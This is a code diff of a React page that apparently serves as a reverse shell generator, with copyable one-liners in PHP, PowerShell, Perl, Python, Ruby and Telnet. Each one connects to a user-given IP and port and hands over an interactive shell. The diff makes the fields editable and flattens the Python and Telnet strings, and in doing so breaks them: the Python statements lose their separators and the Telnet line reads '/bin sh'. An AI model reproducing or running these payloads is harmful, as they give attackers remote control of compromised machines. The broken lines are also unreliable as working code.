@@ -30,14 +30,9 @@ export default (props) => {
3030 const php_rshell = `php -r '$sock=fsockopen(getenv("${ values . ip } "),getenv("${ values . port } "));exec("/bin/sh -i <&3 >&3 2>&3");'` ;
3131 const PS_rshell = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${ values . ip } ',${ values . port } );$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"` ;
3232 const perl_rshell = `perl -e 'use Socket;$i="$ENV{${ values . ip } }";$p=$ENV{${ values . port } };socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'` ;
33- const python_rshell = `python -c 'import sys,socket,os,pty;s=socket.socket()
34- s.connect((os.getenv("${ values . ip } "),int(os.getenv("${ values . port } "))))
35- [os.dup2(s.fileno(),fd) for fd in (0,1,2)]
36- pty.spawn("/bin/sh")'` ;
33+ const python_rshell = `python -c 'import sys,socket,os,pty;s=socket.socket()s.connect((os.getenv("${ values . ip } "),int(os.getenv("${ values . port } "))))[os.dup2(s.fileno(),fd) for fd in (0,1,2)]pty.spawn("/bin/sh")'` ;
3734 const ruby_rshell = `ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["${ values . ip } "],ENV["${ values . port } "]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'` ;
38- const telnet_rshell = `TF=$(mktemp -u);
39- mkfifo $TF && telnet ${ values . ip } ${ values . port } 0<$TF | /bin/sh 1>$TF
40- ` ;
35+ const telnet_rshell = `TF=$(mktemp -u); mkfifo $TF && telnet ${ values . ip } ${ values . port } 0<$TF | /bin sh 1>$TF` ;
4136
4237 return (
4338 < QueueAnim delay = { 300 } duration = { 1500 } >
@@ -77,7 +72,7 @@ export default (props) => {
7772 < Title level = { 3 } >
7873 Bash < IconFont type = 'icon-gnubash' />
7974 </ Title >
80- < Paragraph copyable ellipsis = { true } >
75+ < Paragraph copyable editable ellipsis = { true } >
8176 { bash_rshell }
8277 </ Paragraph >
8378 < Clipboard component = 'a' data-clipboard-text = { bash_rshell } >
@@ -104,7 +99,7 @@ export default (props) => {
10499 < Title level = { 3 } >
105100 Netcat < IconFont type = 'icon-command-line' />
106101 </ Title >
107- < Paragraph copyable ellipsis = { true } >
102+ < Paragraph editable copyable ellipsis = { true } >
108103 { netcat_rshell }
109104 </ Paragraph >
110105 < Clipboard component = 'a' data-clipboard-text = { netcat_rshell } >
@@ -137,7 +132,7 @@ export default (props) => {
137132 < Title level = { 3 } >
138133 PHP < IconFont type = 'icon-php' />
139134 </ Title >
140- < Paragraph copyable ellipsis = { true } >
135+ < Paragraph editable copyable ellipsis = { true } >
141136 { php_rshell }
142137 </ Paragraph >
143138 < Clipboard component = 'a' data-clipboard-text = { php_rshell } >
@@ -166,7 +161,7 @@ export default (props) => {
166161 < Title level = { 3 } >
167162 PowerShell < IconFont type = 'icon-powershell' />
168163 </ Title >
169- < Paragraph copyable ellipsis = { true } >
164+ < Paragraph editable copyable ellipsis = { true } >
170165 { PS_rshell }
171166 </ Paragraph >
172167 < Clipboard component = 'a' data-clipboard-text = { PS_rshell } >
@@ -199,7 +194,7 @@ export default (props) => {
199194 < Title level = { 3 } >
200195 Perl < IconFont type = 'icon-perl' />
201196 </ Title >
202- < Paragraph copyable ellipsis = { true } >
197+ < Paragraph editable copyable ellipsis = { true } >
203198 { perl_rshell }
204199 </ Paragraph >
205200 < Clipboard component = 'a' data-clipboard-text = { perl_rshell } >
@@ -233,8 +228,7 @@ export default (props) => {
233228 < Title level = { 3 } >
234229 Python < IconFont type = 'icon-python' />
235230 </ Title >
236- < Paragraph copyable ellipsis = { true } >
237- { ' ' }
231+ < Paragraph editable copyable ellipsis = { true } >
238232 { python_rshell }
239233 </ Paragraph >
240234 < Clipboard component = 'a' data-clipboard-text = { python_rshell } >
@@ -268,7 +262,7 @@ export default (props) => {
268262 < Title level = { 3 } >
269263 Ruby < IconFont type = 'icon-ruby' />
270264 </ Title >
271- < Paragraph copyable ellipsis = { true } >
265+ < Paragraph editable copyable ellipsis = { true } >
272266 { ruby_rshell }
273267 </ Paragraph >
274268 < Clipboard component = 'a' data-clipboard-text = { ruby_rshell } >
@@ -296,7 +290,7 @@ export default (props) => {
296290 < Title level = { 3 } >
297291 Telnet < IconFont type = 'icon-lvzhou_yuanchengTelnet' />
298292 </ Title >
299- < Paragraph copyable ellipsis = { true } >
293+ < Paragraph editable copyable ellipsis = { true } >
300294 { telnet_rshell }
301295 </ Paragraph >
302296 < Clipboard component = 'a' data-clipboard-text = { telnet_rshell } >
0 commit comments